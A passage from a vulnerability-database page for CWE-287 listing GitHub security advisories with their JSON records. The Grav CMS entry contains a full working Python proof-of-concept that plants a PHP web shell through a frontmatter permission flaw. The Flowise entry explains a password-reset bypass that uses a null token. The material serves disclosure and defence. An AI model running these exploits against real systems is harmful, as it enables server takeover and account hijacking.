Common Weakness Enumeration

CWE-287

Discouraged

Improper Authentication

Abstraction: Class · Status: Draft

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

5966 vulnerabilities reference this CWE, most recent first.

GHSA-F6F5-P56Q-68JM

Vulnerability from github – Published: 2022-05-17 05:00 – Updated: 2022-05-17 05:00
VLAI
Details

The (1) REST and (2) memcache interfaces in the Hazelcast cluster API in Open-Xchange AppSuite 7.0.x before 7.0.2-rev15 and 7.2.x before 7.2.2-rev16 do not require authentication, which allows remote attackers to obtain sensitive information or modify data via an API call.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2013-5200"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2013-09-25T10:31:00Z",
    "severity": "HIGH"
  },
  "details": "The (1) REST and (2) memcache interfaces in the Hazelcast cluster API in Open-Xchange AppSuite 7.0.x before 7.0.2-rev15 and 7.2.x before 7.2.2-rev16 do not require authentication, which allows remote attackers to obtain sensitive information or modify data via an API call.",
  "id": "GHSA-f6f5-p56q-68jm",
  "modified": "2022-05-17T05:00:38Z",
  "published": "2022-05-17T05:00:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-5200"
    },
    {
      "type": "WEB",
      "url": "http://archives.neohapsis.com/archives/bugtraq/2013-09/0032.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F6FJ-4C3H-QJQ5

Vulnerability from github – Published: 2024-12-13 03:31 – Updated: 2025-03-14 18:30
VLAI
Details

A logic vulnerability in the the mobile application (com.transsion.applock) can lead to bypassing the application password.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-12603"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-602"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-13T03:15:05Z",
    "severity": "CRITICAL"
  },
  "details": "A logic vulnerability in the the mobile application (com.transsion.applock) can lead to bypassing the application password.",
  "id": "GHSA-f6fj-4c3h-qjq5",
  "modified": "2025-03-14T18:30:46Z",
  "published": "2024-12-13T03:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12603"
    },
    {
      "type": "WEB",
      "url": "https://security.tecno.com/SRC/blogdetail/356?lang=en_US"
    },
    {
      "type": "WEB",
      "url": "https://security.tecno.com/SRC/securityUpdates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F6G2-H7QV-3M5V

Vulnerability from github – Published: 2024-03-06 16:58 – Updated: 2026-02-17 19:39
VLAI
Summary
Remote Code Execution by uploading a phar file using frontmatter
Details

Summary

  • Due to insufficient permission verification, user who can write a page use frontmatter feature.
  • Inadequate File Name Validation

Details

  1. Insufficient Permission Verification

In Grav CMS, "Frontmatter" refers to the metadata block located at the top of a Markdown file. Frontmatter serves the purpose of providing additional information about a specific page or post. In this feature, only administrators are granted access, while regular users who can create pages are not. However, if a regular user adds the data[_json][header][form] parameter to the POST Body while creating a page, they can use Frontmatter. The demonstration of this vulnerability is provided in video format. Video Link

  1. Inadequate File Name Validation

To create a Contact Form, Frontmatter and markdown can be written as follows: Contact Form Example Form Action Save Option When an external user submits the Contact Form after filling it out, the data is stored in the user/data folder. The filename under which the data is stored corresponds to the value specified in the filename attribute of the process property. For instance, if the filename attribute has a value of "feedback.txt," a feedback.txt file is created in the user/data/contact folder. This file contains the value entered by the user in the "name" field. The problem with this functionality is the lack of validation for the filename attribute, potentially allowing the creation of files such as phar files on the server. An attacker could input arbitrary PHP code into the "name" field to be saved on the server. However, Grav filter the < and > characters, so to disable these options, an xss_check: false attribute should be added. Disable XSS

---
title: Contact Form

form:
    name: contact
    xss_check: false

    fields:
        name:
          label: Name
          placeholder: Enter your name
          autocomplete: on
          type: text
          validate:
            required: true

    buttons:
        submit:
          type: submit
          value: Submit

    process:
        save:
            filename: this_is_file_name.phar
            operation: add

---

# Contact form

Some sample page content

Exploiting these two vulnerabilities allows the following scenario:

  • A regular user account capable of creating pages is required.
  • An attacker creates a Contact Form page containing malicious Frontmatter using the regular user's account.
  • Accessing the Contact Form page, the attacker submits PHP code.
  • The attacker attempts Remote Code Execution by accessing HOST/user/data/[form-name]/[filename].

PoC

PoC Video Link

# PoC.py
import requests
from bs4 import BeautifulSoup

class Poc:

    def __init__(self, cmd):
        self.sess = requests.Session()

        ##########    INIT    ################
        self.USERNAME = "guest"
        self.PASSWORD = "Guest123!"
        self.PREFIX_URL = "http://192.168.12.119:8888/grav"
        self.PAGE_NAME = "this_is_poc_page47"
        self.PHP_FILE_NAME = "universe.phar"
        self.PAYLOAD = '<?php system($_GET["cmd"]); ?>'
        self.cmd = cmd
        ##########    END    ################

        self.sess.get(self.PREFIX_URL)
        self._login()
        self._save_page()
        self._inject_command()
        self._execute_command()


    def _get_nonce(self, data, name):
        # Get login nonce value
        res = BeautifulSoup(data, "html.parser")
        return res.find("input", {"name" : name}).get("value")


    def _login(self):
        print("[*] Try to Login")
        res = self.sess.get(self.PREFIX_URL + "/admin")

        login_nonce = self._get_nonce(res.text, "login-nonce")

        # Login
        login_data = {
            "data[username]" : self.USERNAME,
            "data[password]" : self.PASSWORD,
            "task" : "login",
            "login-nonce" : login_nonce
        }
        res = self.sess.post(self.PREFIX_URL + "/admin", data=login_data)

        # Check login
        if res.status_code != 303:
            print("[!] username or password is wrong")
            exit()

        print("[*] Success Login")


    def _save_page(self):
        print("[*] Try to write page")

        res = self.sess.get(self.PREFIX_URL + f"/admin/pages/{self.PAGE_NAME}/:add")
        form_nonce = self._get_nonce(res.text, "form-nonce")
        unique_form_id = self._get_nonce(res.text, "__unique_form_id__")

        # Add page data
        page_data  = f"task=save&data%5Bheader%5D%5Btitle%5D={self.PAGE_NAME}&data%5Bcontent%5D=content&data%5Bheader%5D%5Bsearch%5D=&data%5Bfolder%5D={self.PAGE_NAME}&data%5Broute%5D=&data%5Bname%5D=form&data%5Bheader%5D%5Bbody_classes%5D=&data%5Bordering%5D=1&data%5Border%5D=&data%5Bheader%5D%5Border_by%5D=&data%5Bheader%5D%5Border_manual%5D=&data%5Bblueprint%5D=&data%5Blang%5D=&_post_entries_save=edit&__form-name__=flex-pages&__unique_form_id__={unique_form_id}&form-nonce={form_nonce}&toggleable_data%5Bheader%5D%5Bpublished%5D=0&toggleable_data%5Bheader%5D%5Bdate%5D=0&toggleable_data%5Bheader%5D%5Bpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bunpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bmetadata%5D=0&toggleable_data%5Bheader%5D%5Bdateformat%5D=0&toggleable_data%5Bheader%5D%5Bmenu%5D=0&toggleable_data%5Bheader%5D%5Bslug%5D=0&toggleable_data%5Bheader%5D%5Bredirect%5D=0&toggleable_data%5Bheader%5D%5Bprocess%5D=0&toggleable_data%5Bheader%5D%5Btwig_first%5D=0&toggleable_data%5Bheader%5D%5Bnever_cache_twig%5D=0&toggleable_data%5Bheader%5D%5Bchild_type%5D=0&toggleable_data%5Bheader%5D%5Broutable%5D=0&toggleable_data%5Bheader%5D%5Bcache_enable%5D=0&toggleable_data%5Bheader%5D%5Bvisible%5D=0&toggleable_data%5Bheader%5D%5Bdebugger%5D=0&toggleable_data%5Bheader%5D%5Btemplate%5D=0&toggleable_data%5Bheader%5D%5Bappend_url_extension%5D=0&toggleable_data%5Bheader%5D%5Bredirect_default_route%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Baliases%5D=0&toggleable_data%5Bheader%5D%5Badmin%5D%5Bchildren_display_order%5D=0&toggleable_data%5Bheader%5D%5Blogin%5D%5Bvisibility_requires_access%5D=0"
        page_data += f"&data%5B_json%5D%5Bheader%5D%5Bform%5D=%7B%22xss_check%22%3Afalse%2C%22name%22%3A%22contact-form%22%2C%22fields%22%3A%7B%22name%22%3A%7B%22label%22%3A%22Name%22%2C%22placeholder%22%3A%22Enter+php+code%22%2C%22autofocus%22%3A%22on%22%2C%22autocomplete%22%3A%22on%22%2C%22type%22%3A%22text%22%2C%22validate%22%3A%7B%22required%22%3Atrue%7D%7D%7D%2C%22process%22%3A%7B%22save%22%3A%7B%22filename%22%3A%22{self.PHP_FILE_NAME}%22%2C%22operation%22%3A%22add%22%7D%7D%2C%22buttons%22%3A%7B%22submit%22%3A%7B%22type%22%3A%22submit%22%2C%22value%22%3A%22Submit%22%7D%7D%7D"
        res = self.sess.post(self.PREFIX_URL + f"/admin/pages/{self.PAGE_NAME}/:add" , data = page_data, headers = {'Content-Type': 'application/x-www-form-urlencoded'})

        print("[*] Success write page: " + self.PREFIX_URL + f"/{self.PAGE_NAME}")


    def _inject_command(self):
        print("[*] Try to inject php code")

        res = self.sess.get(self.PREFIX_URL + f"/{self.PAGE_NAME}")
        form_nonce = self._get_nonce(res.text, "form-nonce")
        unique_form_id = self._get_nonce(res.text, "__unique_form_id__")

        form_data = f"data%5Bname%5D={self.PAYLOAD}&__form-name__=contact-form&__unique_form_id__={unique_form_id}&form-nonce={form_nonce}"

        res = self.sess.post(self.PREFIX_URL + f"/{self.PAGE_NAME}" , data = form_data, headers = {'Content-Type': 'application/x-www-form-urlencoded'})

        print("[*] Success inject php code")


    def _execute_command(self):
        res = self.sess.get(self.PREFIX_URL + f"/user/data/contact-form/{self.PHP_FILE_NAME}?cmd={self.cmd}")

        if res.status_code == 404:
            print("[!] Fail to execute command or not save php file.")
            exit()

        print("[*] This is uploaded php file url.")
        print(self.PREFIX_URL + f"/user/data/contact-form/{self.PHP_FILE_NAME}?cmd={self.cmd}")
        print(res.text)


if __name__ == "__main__":
    Poc(cmd="id")

Impact

Remote Code Execution

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.43"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-27923"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-06T16:58:33Z",
    "nvd_published_at": "2024-03-21T02:52:21Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n- Due to insufficient permission verification, user who can write a page use frontmatter feature.\n- Inadequate File Name Validation\n\n### Details\n1. Insufficient Permission Verification\n\nIn Grav CMS, \"[Frontmatter](https://learn.getgrav.org/17/content/headers)\" refers to the metadata block located at the top of a Markdown file. Frontmatter serves the purpose of providing additional information about a specific page or post.\nIn this feature, only administrators are granted access, while regular users who can create pages are not. However, if a regular user adds the data[_json][header][form] parameter to the POST Body while creating a page, they can use Frontmatter. The demonstration of this vulnerability is provided in video format. [Video Link](https://www.youtube.com/watch?v=EU1QA0idoWE)\n\n2. Inadequate File Name Validation\n\nTo create a Contact Form, Frontmatter and markdown can be written as follows:\n[Contact Form Example](https://learn.getgrav.org/17/forms/forms/example-form)\n[Form Action Save Option](https://learn.getgrav.org/17/forms/forms/reference-form-actions#save)\nWhen an external user submits the Contact Form after filling it out, the data is stored in the user/data folder. The filename under which the data is stored corresponds to the value specified in the filename attribute of the process property. For instance, if the filename attribute has a value of \"feedback.txt,\" a feedback.txt file is created in the user/data/contact folder. This file contains the value entered by the user in the \"name\" field. The problem with this functionality is the lack of validation for the filename attribute, potentially allowing the creation of files such as phar files on the server. An attacker could input arbitrary PHP code into the \"name\" field to be saved on the server. However, Grav filter the \u003c and \u003e characters, so to disable these options, an xss_check: false attribute should be added. [Disable XSS](https://learn.getgrav.org/17/forms/forms/form-options#xss-checks)\n\n```\n---\ntitle: Contact Form\n\nform:\n    name: contact\n    xss_check: false\n\n    fields:\n        name:\n          label: Name\n          placeholder: Enter your name\n          autocomplete: on\n          type: text\n          validate:\n            required: true\n\n    buttons:\n        submit:\n          type: submit\n          value: Submit\n\n    process:\n        save:\n            filename: this_is_file_name.phar\n            operation: add\n\n---\n\n# Contact form\n\nSome sample page content\n```\n\nExploiting these two vulnerabilities allows the following scenario:\n\n- A regular user account capable of creating pages is required.\n- An attacker creates a Contact Form page containing malicious Frontmatter using the regular user\u0027s account.\n- Accessing the Contact Form page, the attacker submits PHP code.\n- The attacker attempts Remote Code Execution by accessing HOST/user/data/[form-name]/[filename].\n\n### PoC\n\n[PoC Video Link](https://www.youtube.com/watch?v=Gh3ezpORbPc)\n\n```python\n# PoC.py\nimport requests\nfrom bs4 import BeautifulSoup\n\nclass Poc:\n\n    def __init__(self, cmd):\n        self.sess = requests.Session()\n\n        ##########    INIT    ################\n        self.USERNAME = \"guest\"\n        self.PASSWORD = \"Guest123!\"\n        self.PREFIX_URL = \"http://192.168.12.119:8888/grav\"\n        self.PAGE_NAME = \"this_is_poc_page47\"\n        self.PHP_FILE_NAME = \"universe.phar\"\n        self.PAYLOAD = \u0027\u003c?php system($_GET[\"cmd\"]); ?\u003e\u0027\n        self.cmd = cmd\n        ##########    END    ################\n\n        self.sess.get(self.PREFIX_URL)\n        self._login()\n        self._save_page()\n        self._inject_command()\n        self._execute_command()\n    \n\n    def _get_nonce(self, data, name):\n        # Get login nonce value\n        res = BeautifulSoup(data, \"html.parser\")\n        return res.find(\"input\", {\"name\" : name}).get(\"value\")\n\n    \n    def _login(self):\n        print(\"[*] Try to Login\")\n        res = self.sess.get(self.PREFIX_URL + \"/admin\")\n\n        login_nonce = self._get_nonce(res.text, \"login-nonce\")\n\n        # Login\n        login_data = {\n            \"data[username]\" : self.USERNAME,\n            \"data[password]\" : self.PASSWORD,\n            \"task\" : \"login\",\n            \"login-nonce\" : login_nonce\n        }\n        res = self.sess.post(self.PREFIX_URL + \"/admin\", data=login_data)\n\n        # Check login\n        if res.status_code != 303:\n            print(\"[!] username or password is wrong\")\n            exit()\n        \n        print(\"[*] Success Login\")\n\n\n    def _save_page(self):\n        print(\"[*] Try to write page\")\n\n        res = self.sess.get(self.PREFIX_URL + f\"/admin/pages/{self.PAGE_NAME}/:add\")\n        form_nonce = self._get_nonce(res.text, \"form-nonce\")\n        unique_form_id = self._get_nonce(res.text, \"__unique_form_id__\")\n\n        # Add page data\n        page_data  = f\"task=save\u0026data%5Bheader%5D%5Btitle%5D={self.PAGE_NAME}\u0026data%5Bcontent%5D=content\u0026data%5Bheader%5D%5Bsearch%5D=\u0026data%5Bfolder%5D={self.PAGE_NAME}\u0026data%5Broute%5D=\u0026data%5Bname%5D=form\u0026data%5Bheader%5D%5Bbody_classes%5D=\u0026data%5Bordering%5D=1\u0026data%5Border%5D=\u0026data%5Bheader%5D%5Border_by%5D=\u0026data%5Bheader%5D%5Border_manual%5D=\u0026data%5Bblueprint%5D=\u0026data%5Blang%5D=\u0026_post_entries_save=edit\u0026__form-name__=flex-pages\u0026__unique_form_id__={unique_form_id}\u0026form-nonce={form_nonce}\u0026toggleable_data%5Bheader%5D%5Bpublished%5D=0\u0026toggleable_data%5Bheader%5D%5Bdate%5D=0\u0026toggleable_data%5Bheader%5D%5Bpublish_date%5D=0\u0026toggleable_data%5Bheader%5D%5Bunpublish_date%5D=0\u0026toggleable_data%5Bheader%5D%5Bmetadata%5D=0\u0026toggleable_data%5Bheader%5D%5Bdateformat%5D=0\u0026toggleable_data%5Bheader%5D%5Bmenu%5D=0\u0026toggleable_data%5Bheader%5D%5Bslug%5D=0\u0026toggleable_data%5Bheader%5D%5Bredirect%5D=0\u0026toggleable_data%5Bheader%5D%5Bprocess%5D=0\u0026toggleable_data%5Bheader%5D%5Btwig_first%5D=0\u0026toggleable_data%5Bheader%5D%5Bnever_cache_twig%5D=0\u0026toggleable_data%5Bheader%5D%5Bchild_type%5D=0\u0026toggleable_data%5Bheader%5D%5Broutable%5D=0\u0026toggleable_data%5Bheader%5D%5Bcache_enable%5D=0\u0026toggleable_data%5Bheader%5D%5Bvisible%5D=0\u0026toggleable_data%5Bheader%5D%5Bdebugger%5D=0\u0026toggleable_data%5Bheader%5D%5Btemplate%5D=0\u0026toggleable_data%5Bheader%5D%5Bappend_url_extension%5D=0\u0026toggleable_data%5Bheader%5D%5Bredirect_default_route%5D=0\u0026toggleable_data%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0\u0026toggleable_data%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0\u0026toggleable_data%5Bheader%5D%5Broutes%5D%5Baliases%5D=0\u0026toggleable_data%5Bheader%5D%5Badmin%5D%5Bchildren_display_order%5D=0\u0026toggleable_data%5Bheader%5D%5Blogin%5D%5Bvisibility_requires_access%5D=0\"\n        page_data += f\"\u0026data%5B_json%5D%5Bheader%5D%5Bform%5D=%7B%22xss_check%22%3Afalse%2C%22name%22%3A%22contact-form%22%2C%22fields%22%3A%7B%22name%22%3A%7B%22label%22%3A%22Name%22%2C%22placeholder%22%3A%22Enter+php+code%22%2C%22autofocus%22%3A%22on%22%2C%22autocomplete%22%3A%22on%22%2C%22type%22%3A%22text%22%2C%22validate%22%3A%7B%22required%22%3Atrue%7D%7D%7D%2C%22process%22%3A%7B%22save%22%3A%7B%22filename%22%3A%22{self.PHP_FILE_NAME}%22%2C%22operation%22%3A%22add%22%7D%7D%2C%22buttons%22%3A%7B%22submit%22%3A%7B%22type%22%3A%22submit%22%2C%22value%22%3A%22Submit%22%7D%7D%7D\"\n        res = self.sess.post(self.PREFIX_URL + f\"/admin/pages/{self.PAGE_NAME}/:add\" , data = page_data, headers = {\u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027})\n\n        print(\"[*] Success write page: \" + self.PREFIX_URL + f\"/{self.PAGE_NAME}\")\n\n\n    def _inject_command(self):\n        print(\"[*] Try to inject php code\")\n\n        res = self.sess.get(self.PREFIX_URL + f\"/{self.PAGE_NAME}\")\n        form_nonce = self._get_nonce(res.text, \"form-nonce\")\n        unique_form_id = self._get_nonce(res.text, \"__unique_form_id__\")\n\n        form_data = f\"data%5Bname%5D={self.PAYLOAD}\u0026__form-name__=contact-form\u0026__unique_form_id__={unique_form_id}\u0026form-nonce={form_nonce}\"\n\n        res = self.sess.post(self.PREFIX_URL + f\"/{self.PAGE_NAME}\" , data = form_data, headers = {\u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027})\n\n        print(\"[*] Success inject php code\")\n\n\n    def _execute_command(self):\n        res = self.sess.get(self.PREFIX_URL + f\"/user/data/contact-form/{self.PHP_FILE_NAME}?cmd={self.cmd}\")\n\n        if res.status_code == 404:\n            print(\"[!] Fail to execute command or not save php file.\")\n            exit()\n\n        print(\"[*] This is uploaded php file url.\")\n        print(self.PREFIX_URL + f\"/user/data/contact-form/{self.PHP_FILE_NAME}?cmd={self.cmd}\")\n        print(res.text)\n\n\nif __name__ == \"__main__\":\n    Poc(cmd=\"id\")\n```\n\n### Impact\n\nRemote Code Execution",
  "id": "GHSA-f6g2-h7qv-3m5v",
  "modified": "2026-02-17T19:39:34Z",
  "published": "2024-03-06T16:58:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-f6g2-h7qv-3m5v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/e3b0aa0c502aad251c1b79d1ee973dcd93711f07"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Remote Code Execution by uploading a phar file using frontmatter"
}

GHSA-F6GR-XM3F-89XF

Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-05-24 17:37
VLAI
Details

NETGEAR DGN2200v1 devices before v1.0.0.60 mishandle HTTPd authentication (aka PSV-2020-0363, PSV-2020-0364, and PSV-2020-0365).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-35785"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-30T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "NETGEAR DGN2200v1 devices before v1.0.0.60 mishandle HTTPd authentication (aka PSV-2020-0363, PSV-2020-0364, and PSV-2020-0365).",
  "id": "GHSA-f6gr-xm3f-89xf",
  "modified": "2022-05-24T17:37:42Z",
  "published": "2022-05-24T17:37:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35785"
    },
    {
      "type": "WEB",
      "url": "https://kb.netgear.com/000062646/Security-Advisory-for-Multiple-HTTPd-Authentication-Vulnerabilities-on-DGN2200v1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F6HC-C5JR-878P

Vulnerability from github – Published: 2026-04-16 21:55 – Updated: 2026-04-24 21:01
VLAI
Summary
Flowise: resetPassword Authentication Bypass Vulnerability
Details

ZDI-CAN-28762: Flowise AccountService resetPassword Authentication Bypass Vulnerability

-- ABSTRACT -------------------------------------

Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: Flowise - Flowise

-- VULNERABILITY DETAILS ------------------------ * Version tested: 3.0.12 * Installer file: hxxps://github.com/FlowiseAI/Flowise * Platform tested: NA


Analysis

This vulnerability allows remote attackers to bypass authentication on affected installations of FlowiseAI Flowise. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the resetPassword method of the AccountService class. The issue results from improper implementation of the authentication mechanism. An attacker can leverage this vulnerability to change user's passwords and bypass authentication on the system.

Product information

FlowiseAI Flowise version 3.0.12 (hxxps://github.com/FlowiseAI/Flowise)

Setup Instructions

npm install flowise@3.0.12
npx flowise start

Root Cause Analysis

FlowiseAI Flowise is an open source low-code tool for developers to build customized large language model (LLM) applications and AI agents. It supports integration with various LLMs, data sources, and tools in order to facilitate rapid development and deployment of AI solutions. Flowise offers a web interface with a drag-and-drop editor, as well as an API, through an Express web server accessible over HTTP on port 3000/TCP.

Flowise allows users to reset forgotten passwords using a token emailed to the email address associated with their account. A token is sent to the user's email when a request is made to the "/api/v1/account/forgot-password" endpoint. Users will submit this token along with their new password to the "/api/v1/account/reset-password" endpoint, and if it is submitted within sufficient time (15 minutes by default, or the value of the PASSWORD_RESET_TOKEN_EXPIRY_IN_MINUTES environment variable) the user will be able to change their password.

The resetPassword() method of the AccountService class is responsible for handling such requests. This method will first retrieve the account information of the user based on their email address, which includes the value of the reset token. The method will then check if the reset token provided matches the one stored in the user's account, and that the token hasn't expired, before changing that users password.

However, there is no check performed to ensure that a password reset token has actually been generated for a user account. By default the value of the reset token stored in a users account is null, or an empty string if they've reset their password before. An attacker with knowledge of the user's email address can submit a request to the "/api/v1/account/reset-password" endpoint containing a null or empty string reset token value and reset that user's password to a value of their choosing. The null or empty string reset token value will allow the attacker to pass the reset token check, and they only have to worry about passing the expiry time check. By default the expiry time stored in the account of a user that has never generated a reset token before is equal to the time of their accounts creation plus 15 minutes (or the value of the PASSWORD_RESET_TOKEN_EXPIRY_IN_MINUTES environment variable).

This means that an attacker with knowledge of a recently created user account's email can change the user's password and use the changed password to bypass authentication.

comments documenting the issue have been added to the following code snippet. Added comments are prepended with "!!!". From packages/server/src/enterprise/services/account.service.ts

    public async resetPassword(data: AccountDTO) {
        data = this.initializeAccountDTO(data) 
        const queryRunner = this.dataSource.createQueryRunner()
        await queryRunner.connect()
        try {
            const user = await this.userService.readUserByEmail(data.user.email, queryRunner)  //!!! retrieve stored user info by email address
            if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)
            //!!!user.tempToken is null or empty string, unless a user has requested a reset token and not used it
            if (user.tempToken !== data.user.tempToken)  //!!! check if the stored token (null by default) matches the provided token
                throw new InternalFlowiseError(StatusCodes.BAD_REQUEST, UserErrorMessage.INVALID_TEMP_TOKEN)

            const tokenExpiry = user.tokenExpiry
            const now = moment()
            const expiryInMins = process.env.PASSWORD_RESET_TOKEN_EXPIRY_IN_MINUTES
                ? parseInt(process.env.PASSWORD_RESET_TOKEN_EXPIRY_IN_MINUTES)
                : 15
            const diff = now.diff(tokenExpiry, 'minutes') //!!! check if token is expired
            if (Math.abs(diff) > expiryInMins) throw new InternalFlowiseError(StatusCodes.BAD_REQUEST, UserErrorMessage.EXPIRED_TEMP_TOKEN)

            // all checks are done, now update the user password, don't forget to hash it and do not forget to clear the temp token
            // leave the user status and other details as is
            //!!! hash and update the user's password since checks passed
            const salt = bcrypt.genSaltSync(parseInt(process.env.PASSWORD_SALT_HASH_ROUNDS || '5'))
            // @ts-ignore
            const hash = bcrypt.hashSync(data.user.password, salt)
            data.user = user
            data.user.credential = hash
            data.user.tempToken = ''  //!!! stored Token value is set to empty string which can also be used by an attacker to bypass the token check
            data.user.tokenExpiry = undefined
            data.user.status = UserStatus.ACTIVE

            await queryRunner.startTransaction()
            data.user = await this.userService.saveUser(data.user, queryRunner)  //!!! save changes to user account
            await queryRunner.commitTransaction()

            // Invalidate all sessions for this user after password reset
            await destroyAllSessionsForUser(user.id as string)
        } catch (error) {
            await queryRunner.rollbackTransaction()
            throw error
        } finally {
            await queryRunner.release()
        }

        return sanitizeUser(data.user)
    }

Proof of Concept

A proof of concept for this vulnerability is provided in ./poc.py. It expects the following syntax:

    python3 poc.py --user <USER> --host <HOST> [--port <PORT>] 

Where USER is the email address of a user on the server, HOST is the ip address of the vulnerable server, and PORT is the port the vulnerable server is listening on (default: 3000). Options inclosed in square brackets are optional.

In order for this proof of concept to be successful, the user specified as the USER argument must have created their account within the last 15 minutes (or within PASSWORD_RESET_TOKEN_EXPIRY_IN_MINUTES minutes)

By default, the poc will first send a POST request to the "/api/v1/account/reset-password" endpoint of the target server containing a JSON body with a null reset token and the password "TMSR1234!" for the user specified by the USER argument. If the request doesn't successfully change the user's password, the same request will be sent again with the reset token value set to the empty string. Upon successful exploitation, the user's password will be changed to "TMSR1234!".

The provided proof of concept was tested using FlowiseAI Flowise version 3.0.12 runing on a Ubuntu 24.04 VM.

-- CREDIT --------------------------------------- This vulnerability was discovered by: Nicholas Zubrisky (@NZubrisky) of TrendAI Research of Trend Micro

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41276"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T21:55:18Z",
    "nvd_published_at": "2026-04-23T20:16:16Z",
    "severity": "HIGH"
  },
  "details": "ZDI-CAN-28762: Flowise AccountService resetPassword Authentication Bypass Vulnerability\n\n-- ABSTRACT -------------------------------------\n\nTrend Micro\u0027s Zero Day Initiative has identified a vulnerability affecting the following products:\nFlowise - Flowise\n\n-- VULNERABILITY DETAILS ------------------------\n* Version tested:  3.0.12\n* Installer file:  hxxps://github.com/FlowiseAI/Flowise\n* Platform tested: NA\n\n---\n\n### Analysis\n\nThis vulnerability allows remote attackers to bypass authentication on affected installations of FlowiseAI Flowise. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the resetPassword method of the AccountService class. The issue results from improper implementation of the authentication mechanism. An attacker can leverage this vulnerability to change user\u0027s passwords and bypass authentication on the system.\n\n### Product information\n\nFlowiseAI Flowise version 3.0.12 (hxxps://github.com/FlowiseAI/Flowise)\n\n### Setup Instructions\n\n```\nnpm install flowise@3.0.12\nnpx flowise start\n```\n\n### Root Cause Analysis\n\nFlowiseAI Flowise is an open source low-code tool for developers to build customized large language model (LLM) applications and AI agents. It supports integration with various LLMs, data sources, and tools in order to facilitate rapid development and deployment of AI solutions. Flowise offers a web interface with a drag-and-drop editor, as well as an API, through an Express web server accessible over HTTP on port 3000/TCP.\n\nFlowise allows users to reset forgotten passwords using a token emailed to the email address associated with their account. A token is sent to the user\u0027s email when a request is made to the \"/api/v1/account/forgot-password\" endpoint. Users will submit this token along with their new password to the \"/api/v1/account/reset-password\" endpoint, and if it is submitted within sufficient time (15 minutes by default, or the value of the PASSWORD_RESET_TOKEN_EXPIRY_IN_MINUTES environment variable) the user will be able to change their password.\n\nThe resetPassword() method of the AccountService class is responsible for handling such requests. This method will first retrieve the account information of the user based on their email address, which includes the value of the reset token. The method will then check if the reset token provided matches the one stored in the user\u0027s account, and that the token hasn\u0027t expired, before changing that users password.\n\nHowever, there is no check performed to ensure that a password reset token has actually been generated for a user account. By default the value of the reset token stored in a users account is null, or an empty string if they\u0027ve reset their password before. An attacker with knowledge of the user\u0027s email address can submit a request to the \"/api/v1/account/reset-password\" endpoint containing a null or empty string reset token value and reset that user\u0027s password to a value of their choosing. The null or empty string reset token value will allow the attacker to pass the reset token check, and they only have to worry about passing the expiry time check. By default the expiry time stored in the account of a user that has never generated a reset token before is equal to the time of their accounts creation plus 15 minutes (or the value of the PASSWORD_RESET_TOKEN_EXPIRY_IN_MINUTES environment variable).\n\nThis means that an attacker with knowledge of a recently created user account\u0027s email can change the user\u0027s password and use the changed password to bypass authentication.\n\ncomments documenting the issue have been added to the following code snippet. 